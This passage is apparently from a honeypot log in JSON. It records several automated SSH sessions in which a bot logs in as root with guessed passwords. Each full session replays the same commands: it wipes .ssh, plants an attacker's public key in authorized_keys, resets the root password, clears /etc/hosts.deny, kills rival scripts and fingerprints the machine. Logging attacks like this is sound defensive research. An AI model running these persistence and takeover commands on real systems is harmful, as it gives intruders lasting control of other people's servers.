ls)"},{"seq":12,"at":"2026-08-26T18:01:35.004406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:01:35.551481+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:01:36.266225+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:01:36.818277+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:01:37.396331+00:00","kind":"output","latency_ms":null,"data":" 18:01:37 up 6 days, 14:51, 0 user, load average: 0.08, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:01:37.943443+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:01:38.441323+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:01:38.999084+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:01:39.786354+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:01:40.339691+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:01:41.031240+00:00","kind":"output","latency_ms":null,"data":"top - 18:01:41 up 6 days, 14:51, 0 user, load average: 0.08, 0.09, 0.08\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:01:41.585664+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:01:41.858414+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:01:42.408792+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:01:43.197151+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:01:43.747864+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:01:44.524146+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:01:45.084172+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:01:46.366661+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:01:46.915547+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:01:48.328591+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin123!@","method":"password","accepted":true,"tier":"other"}]} {"id":"6f5791c3-fba9-4d8c-93d1-ac54ecc14cfc","name":"bashful-civil-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":39658,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:58:46.871208+00:00","ended_at":"2026-08-26T17:58:47.874485+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T17:58:23.676280+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:58:24.229254+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:58:30.717776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:58:31.079892+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:58:31.632136+00:00","kind":"input","latency_ms":null,"data":"echo \"root:SssQaUBVuLeT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:58:32.185117+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:58:32.740250+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:58:33.285157+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:58:33.829589+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:58:34.747583+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:58:35.297095+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:58:36.316203+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:58:36.864319+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:58:37.428109+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:58:37.980389+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:58:38.519217+00:00","kind":"output","latency_ms":null,"data":" 17:58:38 up 6 days, 14:48, 0 user, load average: 0.25, 0.18, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:58:39.067556+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:58:39.460621+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:58:40.015689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:58:40.546609+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:58:41.099766+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:58:41.878152+00:00","kind":"output","latency_ms":null,"data":"top - 17:58:41 up 6 days, 14:48, 0 user, load average: 0.25, 0.18, 0.2\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:58:42.429830+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:58:43.051701+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:58:43.603694+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:58:44.009464+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:58:44.557455+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:58:44.917562+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:58:45.475127+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:58:46.324567+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:58:46.871831+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:58:47.707581+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"amsterdam","method":"password","accepted":true,"tier":"other"}]} {"id":"42c8c558-be26-41de-bb4f-a2857d57b4d0","name":"somber-frugal-raven","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":45384,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":527,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:55:47.776042+00:00","ended_at":"2026-08-26T17:55:48.730455+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:55:26.171355+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:55:26.691667+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:55:31.725448+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:55:31.986703+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:55:32.517371+00:00","kind":"input","latency_ms":null,"data":"echo \"root:NKP6xiJIFhES\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:55:33.040121+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:55:33.562238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:55:33.872575+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:55:34.395548+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:55:35.662807+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:55:36.186767+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:55:37.316632+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:55:37.841231+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:55:38.118661+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:55:38.636157+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:55:39.012752+00:00","kind":"output","latency_ms":null,"data":" 17:55:39 up 6 days, 14:45, 0 user, load average: 0.23, 0.24, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:55:39.539623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:55:39.814071+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:55:40.353400+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:55:40.747866+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:55:41.275544+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:55:42.064245+00:00","kind":"output","latency_ms":null,"data":"top - 17:55:42 up 6 days, 14:45, 0 user, load average: 0.23, 0.24, 0.24\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:55:42.601562+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:55:43.106409+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:55:43.637287+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:55:44.370094+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:55:44.900790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:55:45.591590+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:55:46.117431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:55:47.251438+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:55:47.776954+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:55:48.561223+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"amir","method":"password","accepted":true,"tier":"other"}]} {"id":"93ef68b0-34e4-4cb8-9604-d7f2d61343c0","name":"bitter-amiable-goldfinch","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":59452,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":536,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:37:47.927305+00:00","ended_at":"2026-08-26T17:37:49.152592+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:37:26.243252+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:37:26.792584+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:37:31.466379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:37:31.954208+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:37:32.493294+00:00","kind":"input","latency_ms":null,"data":"echo \"root:OfCzvTSm4Nf9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:37:33.026155+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:37:33.563550+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:37:33.815120+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:37:34.342816+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:37:35.334131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:37:35.866157+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:37:36.882946+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:37:37.421790+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:37:38.146029+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:37:38.687457+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:37:39.272160+00:00","kind":"output","latency_ms":null,"data":" 17:37:39 up 6 days, 14:27, 0 user, load average: 0.23, 0.25, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:37:39.808564+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:37:40.351119+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:37:40.891289+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:37:41.491121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:37:42.033085+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:37:42.540230+00:00","kind":"output","latency_ms":null,"data":"top - 17:37:42 up 6 days, 14:27, 0 user, load average: 0.23, 0.25, 0.18\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:37:43.072119+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:37:43.425618+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:37:43.967469+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:37:44.607532+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:37:45.140439+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:37:45.440230+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:37:45.966296+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:37:47.402430+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:37:47.927822+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:37:48.986756+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lm123456","method":"password","accepted":true,"tier":"other"}]} {"id":"ca44722c-8e24-4640-ac8d-99a7a80da1f9","name":"sincere-weathered-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":59808,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":549,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:28:55.684304+00:00","ended_at":"2026-08-26T17:28:57.131528+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:28:31.057263+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:28:31.611111+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:28:37.396931+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:28:38.200496+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:28:38.744503+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lLjn9J5muP3X\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:28:39.297779+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:28:39.841018+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:28:40.669597+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:28:41.216220+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:28:42.429526+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:28:42.982548+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:28:44.318522+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:28:44.873400+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:28:45.757490+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:28:46.307267+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:28:46.562640+00:00","kind":"output","latency_ms":null,"data":" 17:28:46 up 6 days, 14:18, 0 user, load average: 0.33, 0.28, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:28:47.105134+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:28:47.908916+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:28:48.455090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:28:48.735453+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:28:49.279957+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:28:50.087635+00:00","kind":"output","latency_ms":null,"data":"top - 17:28:50 up 6 days, 14:18, 0 user, load average: 0.33, 0.28, 0.26\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 